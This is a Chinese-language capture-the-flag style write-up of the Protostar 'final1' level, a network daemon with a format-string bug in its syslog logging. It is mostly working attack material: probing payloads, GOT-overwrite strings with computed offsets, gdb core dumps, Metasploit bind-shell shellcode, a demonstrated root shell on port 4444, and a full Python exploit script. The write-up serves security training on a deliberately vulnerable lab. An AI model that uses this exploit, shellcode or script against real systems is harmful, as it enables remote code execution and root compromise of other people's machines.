When you are exploiting this and you don't necessarily know your IP address and port number (proxy, NAT / DNAT, etc), you can determine that the string is properly aligned by seeing if it crashes or not when writing to an address you know is good.

Source code
#include "../common/common.c"

#include

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
{
char buf[512];

snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

syslog(LOG_USER|LOG_DEBUG, buf);
}

void trim(char *str)
{
char *q;

q = strchr(str, '\r');
if(q) *q = 0;
q = strchr(str, '\n');
if(q) *q = 0;
}

void parser()
{
char line[128];

printf("[final1] $ ");

while(fgets(line, sizeof(line)-1, stdin)) {
trim(line);
if(strncmp(line, "username ", 9) == 0) {
strcpy(username, line+9);
} else if(strncmp(line, "login ", 6) == 0) {
if(username[0] == 0) {
printf("invalid protocol\n");
} else {
logit(line + 6);
printf("login failed\n");
}
}
printf("[final1] $ ");
}
}

void getipport()
{
int l;
struct sockaddr_in sin;

l = sizeof(struct sockaddr_in);
if(getpeername(0, &sin, &l) == -1) {
err(1, "you don't exist");
}

sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp)
{
int fd;
char *username;

/* Run the process as a daemon */
background_process(NAME, UID, GID);

/* Wait for socket activity and return */
fd = serve_forever(PORT);

/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);

getipport();
parser();

}

从该题提示可知是利用Format String写Exploit。回想之前有Format String的四道题,如果那四道题掌握的话,也就是说掌握了利用Format String在任意地址写上任何值的技巧。而这道题也就是这个道理。
因此本题的的点不单止一个,我在练习过程中是修改syslog()地址跳到shellcode的,其余的各自发挥吧。
先找找syslog()的地址吧。
user@protostar:~$ objdump -R /opt/protostar/bin/final1 | grep syslog
0804a11c R_386_JUMP_SLOT syslog
得到syslog()的地址是0x0804a11c。

不难发现在logit()的sprintf中有Format String的问题。来看看Format String的第一步:
user@protostar:~$ python -c 'print "username aaaabbbb"+"%x."*20+"\nlogin b"' | nc localhost 2994
[final1] $ [final1] $ login failed
[final1] $
因为程序用syslog写日志,因此可在/var/log/syslog查看程序日志信息:
Apr 25 20:18:27 (none) final1: Login from 127.0.0.1:32941 as [aaaabbbb8049ee4.804a2a0.804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.302e3732.312e302e.3932333a.61203134. 61 5b2073. 62616161.25 626262.78252e78.2e78252e.252e7825.78252e78.] with password [b]

进一步确认一下:
user@protostar:~$ python -c 'print "username xaaaa"+"%15$x"+"\nlogin b"' | nc localhost 2994
[final1] $ [final1] $ login failed
[final1] $

Apr 25 20:22:05 (none) final1: Login from 127.0.0.1:32942 as [xaaaa61616161] with password [b]

OK,继续:
user@protostar:~$ python -c 'print "username xaaaabbbbccccdddd"+"%15$x%16$x%17$x%18$x"+"\nlogin b"' | nc localhost 2994
[final1] $ [final1] $ login failed
[final1] $

Apr 25 20:23:45 (none) final1: Login from 127.0.0.1:32943 as [xaaaabbbbccccdddd61616161626262626363636364646464] with password [b]

接下来换上syslog的地址,即修改syslog的地址
user@protostar:~$ python -c 'print "username x\x1c\xa1\x04\x08\x1d\xa1\x04\x08\x1e\xa1\x04\x08\x1f\xa1\x04\x08"+"%15$n%16$n%17$n%18$n"+"\nlogin b"' | nc localhost 2994
[final1] $ [final1] $ login failed
[final1] $


Apr 25 20:28:01 (none) final1: Login from 127.0.0.1:32944 as [x#034004#010#035004#010#036004#010#037004#010] with password [b]

这有点奇怪,按理说修改了syslog所在的地址,程序应该会崩溃才对,但是从日志里看是没问题的,而且在/tmp下没有生成调试文件。这里经一大牛指点,说在后面进行二次的login的话程序就会崩溃。
user@protostar:~$ python -c 'print "username x\x1c\xa1\x04\x08\x1d\xa1\x04\x08\x1e\xa1\x04\x08\x1f\xa1\x04\x08"+"%15$n%16$n%17$n%18$n"+"\nlogin b\nlogin test"' | nc localhost 2994
[final1] $ [final1] $ login failed
[final1] $


Apr 25 20:36:02 (none) final1: Login from 127.0.0.1:32945 as [x#034004#010#035004#010#036004#010#037004#010] with password [b]
Apr 25 20:36:02 (none) kernel: [27685.558338] final1[3097]: segfault at 30303030 ip 30303030 sp bffff98c error 4
look,程序生成了segfault错误

接下来需要在username或login中插进我们的shellcode,在找出shellcode在程序当中的内存地址,接着把shellcode的内存地址替换掉syslog的地址就大功告成了。
1、获得一个shellcode
root@bt:/opt/metasploit/apps/pro/msf3/tools# msfpayload linux/x86/shell_bind_tcp c
/*
* linux/x86/shell_bind_tcp - 78 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependSetresgid=false, PrependSetregid=false,
* PrependSetgid=false, PrependChrootBreak=false,
* AppendExit=false, InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

把shellcode放进第二次的login里面
user@protostar:~$ python -c 'print "username x\x1c\xa1\x04\x08\x1d\xa1\x04\x08\x1e\xa1\x04\x08\x1f\xa1\x04\x08"+"%15$n%16$n%17$n%18$n"+"\nlogin b\nlogin "+"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' | nc localhost 2994
[final1] $ [final1] $ login failed
[final1] $

root@protostar:/# gdb --quiet --core=/tmp/core.11.final1.3114
Core was generated by `/opt/protostar/bin/final1'.
Program terminated with signal 11, Segmentation fault.
#0 0x30303030 in ?? ()
(gdb) x/50x $esp
0xbffff98c: 0x080498ef 0x0000000f 0xbffff9b0 0x08049ee4
0xbffff99c: 0x0804a2a0 0x0804a220 0xbffffbd6 0xb7fd7ff4
0xbffff9ac: 0xbffffa28 0x69676f4c 0x7266206e 0x31206d6f
0xbffff9bc: 0x302e3732 0x312e302e 0x3932333a 0x61203634
0xbffff9cc: 0x785b2073 0x0804a11c 0x0804a11d 0x0804a11e
0xbffff9dc: 0x0804a11f 0x24353125 0x3631256e 0x31256e24
0xbffff9ec: 0x256e2437 0x6e243831 0x6977205d 0x70206874
0xbffff9fc: 0x77737361 0x2064726f 0x
f7db315b 0x534353e3
0xbffffa0c: 0xe189026a 0x80cd66b0 0x68525e5b 0x5c1102ff
0xbffffa1c: 0x5051106a 0x666ae189 0x8980cd58 0x04b30441
0xbffffa2c: 0x80cd66b0 0xcd66b043 0x6a599380 0x80cd583f
0xbffffa3c: 0x68f87949 0x68732f2f 0x69622f68 0x50e3896e
0xbffffa4c: 0xb0e18953 0x5d80cd0b
(gdb) x/50x 0xbffffa05
0xbffffa05: 0xe3f7db31 0x6a534353 0xb0e18902 0x5b80cd66
0xbffffa15: 0xff68525e 0x6a5c1102 0x89505110 0x58666ae1
0xbffffa25: 0x418980cd 0xb004b304 0x4380cd66 0x80cd66b0
0xbffffa35: 0x3f6a5993 0x4980cd58 0x2f68f879 0x6868732f

找到shellcode的地址在0xbffffa05位置,syslog的地址是0x0804a11c,前面程序报告位置是0x30303030,通过计算可得:
>>> print 0x105-0x30
213
>>> print 0xfa-0x05
245
>>> print 0x1ff-0xfa
261
>>> print 0x1bf-0xff
192

因此四个偏移量分别是213,245,261,192,故:
user@protostar:~$ python -c 'print "username x\x1c\xa1\x04\x08\x1d\xa1\x04\x08\x1e\xa1\x04\x08\x1f\xa1\x04\x08%213x%15$n%245x%16$n%261x%17$n%192x%18$n\nlogin b\nlogin "+"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' | nc localhost 2994
[final1] $ [final1] $ login failed
[final1] $
但是,好像shellcode并未执行,因为4444端口没有开启,同时也生成了调试文件。来查看一下调试文件的是什么情况?
root@protostar:/# gdb --quiet --core=/tmp/core.11.final1.3142
Core was generated by `/opt/protostar/bin/final1'.
Program terminated with signal 11, Segmentation fault.
#0 0xbffffa05 in ?? ()
(gdb) x/50x $esp
0xbffff98c: 0x080498ef 0x0000000f 0xbffff9b0 0x08049ee4
0xbffff99c: 0x0804a2a0 0x0804a220 0xbffffbd6 0xb7fd7ff4
0xbffff9ac: 0xbffffa28 0x69676f4c 0x7266206e 0x31206d6f
0xbffff9bc: 0x302e3732 0x312e302e 0x3932333a 0x61203734
0xbffff9cc: 0x785b2073 0x0804a11c 0x0804a11d 0x0804a11e
0xbffff9dc: 0x0804a11f 0x33313225 0x35312578 0x32256e24
0xbffff9ec: 0x25783534 0x6e243631 0x31363225 0x37312578
0xbffff9fc: 0x31256e24 0x25783239 0x6e243831 0x6977205d
0xbffffa0c: 0x70206874 0x77737361 0x2064726f 0xf7db315b
0xbffffa1c: 0x534353e3 0xe189026a 0x80cd66b0 0x68525e5b
0xbffffa2c: 0x5c1102ff 0x5051106a 0x666ae189 0x8980cd58
0xbffffa3c: 0x04b30441 0x80cd66b0 0xcd66b043 0x6a599380
0xbffffa4c: 0x80cd583f 0x68f87949
(gdb) x/4x 0xbffffa19
0xbffffa19: 0xe3f7db31 0x6a534353 0xb0e18902 0x5b80cd66
(gdb)

好像因为添加了偏移量,shellcode的位置移动了一点,try again~
>>> print 0x119-0x30
233
>>> print 0xfa-0x19
225
>>> print 0x1ff-0xfa
261
>>> print 0x1bf-0xff
192

修改成新的偏移量:
user@protostar:~$ python -c 'print "username x\x1c\xa1\x04\x08\x1d\xa1\x04\x08\x1e\xa1\x04\x08\x1f\xa1\x04\x08%233x%15$n%225x%16$n%261x%17$n%192x%18$n\nlogin b\nlogin "+"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' | nc localhost 2994
[final1] $ [final1] $ login failed
[final1] $

这次程序并未自动退出,说明是可以的。连接一下4444端口。
D:\>nc 192.168.0.71 4444
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)


OK,目的达到!!!接下来写成个脚本,看上去就有点exploit的feel了。。。
贴上Python代码:
#!/usr/bin/env python

from socket import *
from struct import *
from optparse import OptionParser

def exploit(host, port):
syslog_address = 0x0804a11c
syslog_address_1 = pack(" syslog_address_2 = pack(" syslog_address_3 = pack(" syslog_address_4 = pack("
# linux/x86/shell_bind_tcp - 78 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false,
# InitialAutoRunScript=, AutoRunScript=
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"

# Open the connection
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))

# Because the string in the syslog varies, due to it showing "Login from 192.168.1.1:19661" for example
# Calculate length of junk filler, based on max ip+port combo being 255.255.255.255:65535
# Write out 0xbffff9e4 (start of shellcode) to 0x0804a11c (GOT of syslog)
source_address = s.getsockname()[0]
source_port = s.getsockname()[1]
source_string = str(source_address) + ":" + str(source_port)

junk_buffer_length = 21 - len(source_string)

print("[*] Sending format string as username")
s.send("username XXX" + "X"*junk_buffer_length + syslog_address_1 + syslog_address_2 + syslog_address_3 + syslog_address_4 + "%172x%17$n" + "%21x%18$n" + "%262x%19$n" + "%192x%20$n" + "\n")

print("[*] Sending password to trigger formatstring")
s.send("login " + "B" + "\n")

print("[*] Sending new username without format string")
s.send("username X\n")

print("[*] Sending shellcode as password")
s.send("login " + shellcode + "\n")

s.close

print("[*] Exploit successfull! Now launch: nc " + str(host) + " 4444")

if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to exploit")
parser.add_option("-p", "--port", dest="portnum", default=2994, type="int", help="Target port")

(options, args) = parser.parse_args()

exploit(options.hostname, options.portnum)